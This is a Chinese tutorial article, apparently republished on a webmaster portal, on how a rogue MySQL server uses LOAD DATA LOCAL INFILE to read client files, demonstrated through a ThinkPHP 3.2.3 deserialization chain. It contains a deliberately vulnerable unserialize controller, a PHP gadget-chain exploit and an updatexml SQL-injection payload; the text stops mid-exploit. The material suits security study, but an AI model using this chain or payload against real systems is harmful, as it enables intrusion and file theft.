加入收藏 | 设为首页 | 会员中心 | 我要投稿 惠州站长网 (https://www.0752zz.com.cn/)- 办公协同、云通信、物联设备、操作系统、高性能计算!
当前位置: 首页 > 云计算 > 正文

浅析MySQL恶意服务器读取文件原理

发布时间:2022-08-02 11:34:34 所属栏目:云计算 来源:互联网
导读:前言 搭建MySQL恶意服务器读取文件这件事,虽然直接利用门槛较高,但是由于在网上看到了一种比较新颖的利用方式(利用社会工程学引诱用户连接MySQL进而读取用户文件),个人觉得比较有意思,总结了一下攻击原理以及攻击方式,因此就有了这篇文章。 原理 在阐
  前言
  搭建MySQL恶意服务器读取文件这件事,虽然直接利用门槛较高,但是由于在网上看到了一种比较新颖的利用方式(利用社会工程学引诱用户连接MySQL进而读取用户文件),个人觉得比较有意思,总结了一下攻击原理以及攻击方式,因此就有了这篇文章。
 
  原理
  在阐述具体原理之前,先介绍几个SQL语句,以便后文理解。
 
  首先在tmp目录下新建一个tmp.txt。
 
  内容如下:
 
  浅析MySQL恶意服务器读取文件原理
 
  然后执行下方SQL语句,即可将tmp.txt文件导入其中
 
  复制
  mysql> load data local infile "/tmp/tmp.txt" into table test fields terminated by 'n';
  Query OK, 3 rows affected (2.63 sec)
  Records: 3  Deleted: 0  Skipped: 0  Warnings: 0
 
  mysql> select * from Test;
  +-------+
  | name  |
  +-------+
  | admin |
  | user  |
  | Lxxx  |
  +-------+
  3 rows in set (0.00 sec)
  1.
  2.
  3.
  4.
  5.
  6.
  7.
  8.
  9.
  10.
  11.
  12.
  13.
  load data local infile语句会读取客户端本地的文件
  load data infile语句会读取服务端本地的文件
  terminated by表示以某某字符分割,默认为Tab,这里我设置为了n
  这个时候可能就会绕不清楚,什么是服务端,什么是客户端?
 
  因为一般情况下,调试SQL都是在本机,并且数据库也在本机,这样的情况就导致,客户端和服务端都是在本地,有点难区分,下面我用一张图来简述。
 
  浅析MySQL恶意服务器读取文件原理
 
  在本地,由于客户端和服务端都是在同一个磁盘下,因此,在本地,无论是否加local都是可以将文件传入数据库的,而后面讲到利用MySQL恶意服务器读取文件的漏洞,就是需要使用local,来达到将文件带出的目的。
 
  下面我画了两张图,第一张图是正常业务流程,第二张图是攻击者恶意攻击的流程
 
  正常的后端业务流程如下:
 
  浅析MySQL恶意服务器读取文件原理
 
  当攻击者劫持后端服务器,并且在公网中搭建恶意的MySQL后,流程图如下:
 
  浅析MySQL恶意服务器读取文件原理
 
  这样攻击者就可以在后端达到任意文件下载的目的。
 
  演示
  虽说在之前的某个CTF比赛出过类似的题目,但是我这里还是使用ThinkPHP3.2.3存在的反序列化漏洞,结合MySQL恶意服务器读取敏感文件,进而RCE的样例。
 
  首先在本地先启动一个ThinkPHP3.2.3的框架,连接好数据库,在Application/Home/Controller/HelloController.class.php控制器中写一个反序列化入口。
 
  复制
  <?php
  namespace HomeController;
 
  use ThinkController;
 
  class HelloController extends Controller
  {
      public function index($Lxxx){
          echo base64_decode($Lxxx);
          $a = unserialize(base64_decode($Lxxx));
      }
  }
  1.
  2.
  3.
  4.
  5.
  6.
  7.
  8.
  9.
  10.
  11.
  12.
  具体的链子,我就不跟了,网上也有很多,虽然链子具体的方法不跟进,但是我还是需要介绍一下这条链子能起到一个什么作用。
 
  首先需要一个反序列化入口,这是毋庸置疑的,没有反序列化入口,那就无法进行反序列化,所以上方我就在HelloController控制器中自己写了一个反序列化入口。
  这条链子最终的链尾是需要数据库的相关信息,例如数据库名,数据库端口,数据库用户以及密码,并且这条链子是允许使用堆叠注入的,因此如果知道数据库相关信息,那么就可以利用堆叠注入写入一句话木马进而getshell。
  这里我就直接将链子放出来,然后演示一下如何搭建一个恶意的MySQL数据库,获取敏感文件,进而getshell。
 
  复制
  <?php
  namespace ThinkDbDriver{
      use PDO;
      class Mysql{
          protected $options = array(
              PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件
          );
          protected $config = array(
              "debug"    => 1,
              "database" => "tp323",
              "hostname" => "127.0.0.1",
              "hostport" => "8889",
              "charset"  => "utf8",
              "username" => "root",
              "password" => "root"
          );
      }
  }
 
  namespace ThinkImageDriver{
      use ThinkSessionDriverMemcache;
      class Imagick{
          private $img;
 
          public function __construct(){
              $this->img = new Memcache();
          }
      }
  }
 
  namespace ThinkSessionDriver{
      use ThinkModel;
      class Memcache{
          protected $handle;
 
          public function __construct(){
              $this->handle = new Model();
          }
      }
  }
 
  namespace Think{
      use ThinkDbDriverMysql;
      class Model{
          protected $options   = array();
          protected $pk;
          protected $data = array();
          protected $db = null;
 
          public function __construct(){
              $this->db = new Mysql();
              $this->options['where'] = '';
              $this->pk = 'id';
              $this->data[$this->pk] = array(
                  "table" => "tp_user where 1=updatexml(1,concat(0x7e,version(),0x7e),1)#",
                  "where" => "1=1"

(编辑:惠州站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

推荐文章
    热点阅读